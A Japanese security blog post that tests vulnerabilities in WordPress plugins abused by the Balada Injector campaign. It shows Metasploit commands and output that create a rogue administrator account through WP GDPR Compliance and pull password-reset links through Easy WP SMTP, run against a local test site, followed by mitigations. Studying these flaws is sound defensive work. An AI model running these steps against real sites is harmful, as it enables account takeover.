WordPressマルウェアキャンペーン「Balada Injector」が悪用する脆弱性の検証

このブログは、応用数理と仲良くなれないアルバイトのseigo2016が書いています。 あるもりすぶろぐの内容は個人の意見です。

はじめに

検証には自身で管理する環境を使用し、自己責任でお願いします。また、この情報を悪用することは絶対に行わないでください。

今回は「Balada Injector」と呼ばれるマルウェアが悪用しているWordPressプラグイン脆弱性についての検証を行います。

概要

「Balada Injector」は、WordPressサイトを標的とした大規模なサイバー攻撃のキャンペーンに使用されているマルウェアです。
このキャンペーンは2017年より展開されており、100万を超えるWordPress Webサイトが感染したと推定されています*1
このマルウェアは、WordPressプラグインやテーマに存在する様々な脆弱性を悪用してサイトを侵害します。
その後、管理者ユーザーを生成するほか、バックドアを残すとされています。

マルウェアに悪用されている脆弱性が存在するWordPressプラグインは以下のとおりです。

  • WP Live Chat Support Plugin
  • WordPress – Yuzo Related Posts
  • Yellow Pencil Visual Theme Customizer Plugin
  • WP GDPR Compliance Plugin
  • Newspaper Theme on WordPress Access Control
  • Thim Core
  • Google Code Inserter
  • Total Donations Plugin
  • Post Custom Templates Lite
  • WP Quick Booking Manager
  • Faceboor Live Chat by Zotabox
  • Blog Designer WordPress Plugin
  • WordPress Ultimate FAQ
  • WP-Matomo Integration (WP-Piwik)
  • WordPress ND Shortcodes For Visual Composer
  • Coming Soon Page and Maintenance Mode
  • Hybrid
  • Brizy WordPress Plugin
  • FV Flowplayer Video Player
  • WooCommerce
  • WordPress theme OneTone
  • Simple Fields WordPress Plugin
  • WordPress Delucks SEO plugin
  • Poll, Survey, Form & Quiz Maker by OpinionStage
  • Social Metrics Tracker
  • WPeMatico RSS Feed Fetcher
  • Rich Reviews plugin
  • Newspaper and other old tagDiv Themes
  • Education WP (Eduma)
  • Social Warfare
  • Easy WP SMTP
  • Elementor Pro

導入できたプラグイン & 脆弱性概要一覧

今回は、現在も該当バージョンがダウンロードできる下記のプラグインのうち、Balada Injector が悪用する脆弱性のなかでも、アカウントの乗っ取りや権限昇格が可能なEasy WP SMTPとWP GDPR Compliance PluginをMetasploitを用いて検証します。

プラグイン バージョン CVE 概要 参考URL
Blog Designer WordPress Plugin < 3.3 CVE-2022-4792
Brizy WordPress Plugin <2.3.12 CVE-2021-38346 認証済みユーザーがAjax actionを利用して、任意の場所に実行可能ファイルをアップロードできる https://nvd.nist.gov/vuln/detail/CVE-2021-38346
Easy WP SMTP < 1.4.2 プラグインフォルダにindex.htmlが含まれておらず、ディレクトリのリストを取得できる可能性がある。デバッグモードが有効な場合、アカウントのパスワードリセットをリクエストしたあと、デバッグファイルを表示してリンクを特定し、パスワードをリセットできる https://www.rapid7.com/db/modules/auxiliary/scanner/http/wp_easy_wp_smtp/
WordPress ND Shortcodes For Visual Composer 5.8 CVE-2019-15771 未認証のユーザーが権限昇格によって設定を変更したり、アカウントを乗っ取ることが可能
Poll, Survey, Form & Quiz Maker by OpinionStage <= 19.6.25 未ログインのユーザーによるXSS脆弱性が存在 https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-poll-survey-form-quiz-maker-by-opinionstage-cross-site-scripting-19-6-24/
WordPress Ultimate FAQ <1.8.24 CVE-2019-17232/CVE-2019-17233 未認証のユーザーがEWD_UFAQ_Import_From_Spreadsheet関数を通して投稿をインポートし、新しい投稿を作成できる https://blog.nintechnet.com/unauthenticated-options-import-vulnerability-in-wordpress-ultimate-faq-plugin/
WP GDPR Compliance Plugin <1.4.2 CVE-2018-19207 update_option関数で権限確認をしておらず、WordPressの設定を外部からログインなしに変更でき、特権昇格などに繋がる https://blog.tokumaru.org/2018/12/wp-gdpr-compliance-cve-2018-19207.html
Coming Soon Page and Maintenance Mode < 2.4.5 CVE-2022-1576 subscribed users listを空にする際のCSRFトークンが無いため、ログインしている管理者にCSRF攻撃が可能 https://wpscan.com/vulnerability/68deab46-1c16-46ae-a912-a104958ca4cf
WP-Matomo Integration (WP-Piwik) <= 1.0.4 CVE-2015-9405 XSS脆弱性が存在
WPeMatico RSS Feed Fetcher 2.6.12 CVE-2021-24793 追加されたFeed URLを適切にエスケープしないため、高い権限を持つユーザーによるXSS脆弱性が存在 https://wpscan.com/vulnerability/eeedbb3b-ae10-4472-a1d3-f196f95b9d96
WP Live Chat Support Plugin <8.0.27 CVE-2019-14950 GDPRページを通じたXSS脆弱性が存在 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24793

Metasploitによる検証

Metasploitとは、OSSペネトレーションテストを行うためのソフトウェアです。
今回は、既存の攻撃モジュールのscanner/http/wordpress_scannerauxiliary/scanner/http/wp_easy_wp_smtp及びauxiliary/admin/http/wp_gdpr_compliance_privesを利用して検証します。

Metasploitの起動

今回は、WSL2のKaliLinuxでMetasploitを起動しています。
実行すると、コマンド入力画面が表示されます。

└─$ ./msfconsole

               .;lxO0KXXXK0Oxl:.
           ,o0WMMMMMMMMMMMMMMMMMMKd,
        'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx,
      :KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
    .KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX,
   lWMMMMMMMMMMMXd:..     ..;dKMMMMMMMMMMMMo
  xMMMMMMMMMMWd.               .oNMMMMMMMMMMk
 oMMMMMMMMMMx.                    dMMMMMMMMMMx
.WMMMMMMMMM:                       :MMMMMMMMMM,
xMMMMMMMMMo                         lMMMMMMMMMO
NMMMMMMMMW                    ,cccccoMMMMMMMMMWlccccc;
MMMMMMMMMX                     ;KMMMMMMMMMMMMMMMMMMX:
NMMMMMMMMW.                      ;KMMMMMMMMMMMMMMX:
xMMMMMMMMMd                        ,0MMMMMMMMMMK;
.WMMMMMMMMMc                         'OMMMMMM0,
 lMMMMMMMMMMk.                         .kMMO'
  dMMMMMMMMMMWd'                         ..
   cWMMMMMMMMMMMNxc'.                ##########
    .0MMMMMMMMMMMMMMMMWc            #+#    #+#
      ;0MMMMMMMMMMMMMMMo.          +:+
        .dNMMMMMMMMMMMMo          +#++:++#+
           'oOWMMMMMMMMo                +:+
               .,cdkO0K;        :+:    :+:
                                :::::::+:
                      Metasploit

       =[ metasploit v6.3.15-dev-601d9cef96               ]
+ -- --=[ 2311 exploits - 1206 auxiliary - 412 post       ]
+ -- --=[ 972 payloads - 46 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: You can pivot connections over sessions
started with the ssh_login modules
Metasploit Documentation: https://docs.metasploit.com/

msf6 >

scanner/http/wordpress_scanner

まず、Auxiliaryモジュールのscanner/http/wordpress_scannerを利用します。 これは、Metasploitにモジュールがある脆弱性を持つテーマやプラグインをスキャンし、情報を収集するのためのモジュールです。

ホストとポートを指定した後、実行します。

msf6 > use scanner/http/wordpress_scanner
msf6 auxiliary(scanner/http/wordpress_scanner) > set rhosts localhost
rhosts => localhost
msf6 auxiliary(scanner/http/wordpress_scanner) > set rport 8000
rport => 8000
msf6 auxiliary(scanner/http/wordpress_scanner) > exploit

[*] Trying 127.0.0.1
[+] 127.0.0.1 - Detected Wordpress 5.4
[*] 127.0.0.1 - Enumerating Themes
[*] 127.0.0.1 - Progress  0/2 (0.0%)
[*] 127.0.0.1 - Finished scanning themes
[*] 127.0.0.1 - Enumerating plugins
[*] 127.0.0.1 - Progress   0/59 (0.0%)
[+] 127.0.0.1 - Detected plugin: wp-gdpr-compliance version 1.4.2
[+] 127.0.0.1 - Detected plugin: easy-wp-smtp version 1.4.1
[*] 127.0.0.1 - Finished scanning plugins
[*] 127.0.0.1 - Searching Users
[*] 127.0.0.1 - Was not able to identify users on site using /wp-json/wp/v2/users
[*] 127.0.0.1 - Finished all scans
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

wp-gdpr-complianceeasy-wp-smtpが検知されました。

auxiliary/admin/http/wp_gdpr_compliance_privesc

では、次にwp_gdpr_compliance_privescの攻撃モジュールを使用して、WP GDPR Compliance Pluginの検証を行います。
WP GDPR Compliance Pluginの1.4.2以下のバージョンは、プラグインのアクションが呼び出されたときに権限確認を行わないため、WordPressの設定を外部からログインなしに変更でき、特権昇格などに繋がる脆弱性が存在します。
このモジュールは、新規ユーザーを登録し、デフォルトの役割を管理者に変更します。 ホスト名とポート、登録する新規ユーザーのメールアドレスと指定した後、実行します。

msf6 auxiliary(admin/http/wp_gdpr_compliance_privesc) > set email test@example.com
email => test@example.com
msf6 auxiliary(admin/http/wp_gdpr_compliance_privesc) > check
[*] 127.0.0.1:8000 - The target appears to be vulnerable.
msf6 auxiliary(admin/http/wp_gdpr_compliance_privesc) > exploit
[*] Running module against 127.0.0.1

[*] Getting security token from host...
[!] Enabling user registrations...
[!] Setting the default user role type to administrator...
[*] Registering msfuser with email test@example.com
[*] Auxiliary module execution completed

完了後にアカウント欄を確認すると、指定したメールアドレスの管理者アカウントが作成されていることがわかります。

auxiliary/scanner/http/wp_easy_wp_smtp

続いて、auxiliary/scanner/http/wp_easy_wp_smtpモジュールを用いてEasy WP SMTPプラグインの検証を行います。  

Easy WP SMTPプラグインの1.4.2より古いバージョンでは、プラグインフォルダにindex.htmlが含まれておらず、ディレクトリのリストを取得できます。
Easy WP SMTPデバッグモードが有効な場合、攻撃者はアカウントのパスワードリセットをリクエストした後、デバッグファイルを表示してリンクを特定し、パスワードをリセットできます。

このモジュールは、アカウントのパスワードリセットをリクエストし、デバッグファイル内のリセットリンクを出力します。
ホスト名・ポートと、リセットを掛けるユーザー名を指定し、実行します。

msf6 auxiliary(admin/http/wp_gdpr_compliance_privesc) > use scanner/http/wp_easy_wp_smtp
msf6 auxiliary(scanner/http/wp_easy_wp_smtp) > set user admin
user => admin
msf6 auxiliary(scanner/http/wp_easy_wp_smtp) > exploit

[+] Vulnerable version of Easy WP SMTP detected
[*] Checking for debug_log file
[+] Found debug log: /wp-content/plugins/easy-wp-smtp/6482ea6514aff_debug_log.txt
[*] Sending password reset for admin
[+] Debug log saved to /home/****/.msf4/loot/20230609202045_default_127.0.0.1_6482ea6514aff_de_123999.txt.  Manual review for possible SMTP password, and other information.
[*] Finished enumerating resets.  Last one most likely to succeed
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

表示されたデバッグログのファイルを確認すると、取得したリセットリンクが表示されます。

対策

セキュリティ対策プラグインや設定の追記によって攻撃の防止や緩和が可能です。

セキュリティ対策プラグインの利用

SiteGuard WP Plugin*2 / XO Security*3、User Login History*4などの、セキュリティ対策プラグインを導入することで、簡単にセキュリティを高めることができます。 具体的な機能として、ログイン履歴の記録やログインアラート(メール通知)や2段階認証を有効にすることで、不正なログインに気づきやすくなるほか、不正なログイン自体も防ぐ事が可能です。

functions.phpへの設定の追記

プラグインの導入を避けたい場合は、下記のようにfunctions.phpに追記することでログイン時にメール通知することも可能です。

add_action('wp_login', 'alert', 10, 2);
function alert($user_login , $current_user) {
  // ログイン時の処理(メール通知する処理)
}

また、wp_send_new_user_notification_to_adminフィルターが常にtrueを返すようにすることで、新規アカウント作成時に管理者のメールアドレスに通知が来るようになります。

管理者ページのURLの変更

WordPressのログインページであるwp-loginやwp-adminのURLを推測されにくいものに変更し、隠すことで、アカウント登録を防ぐ緩和策となります。

最後に

マルウェアBalada Injectorは、2018年に報告されたものから2022年に報告されたものまで、幅広い期間かつ様々なプラグインやテーマの脆弱性を対象としています。そのため、今後も対象の脆弱性が増えていく可能性があります。

プラグインのアップデート情報を確認し、アップデートがある場合は検証した上で速やかに更新しましょう。 また、プラグインやテーマの設定は適切に行い、不用意にデバッグログや非公開ページが表示されていないか確認するとよいと思います。
その他にも、セキュリティ対策プラグインなどを利用することで、認証ログを記録し、ログインアラートを送信するように設定することができます。

検証には自身で管理する環境を使用し、自己責任でお願いします。また、この情報を悪用することは絶対に行わないでください。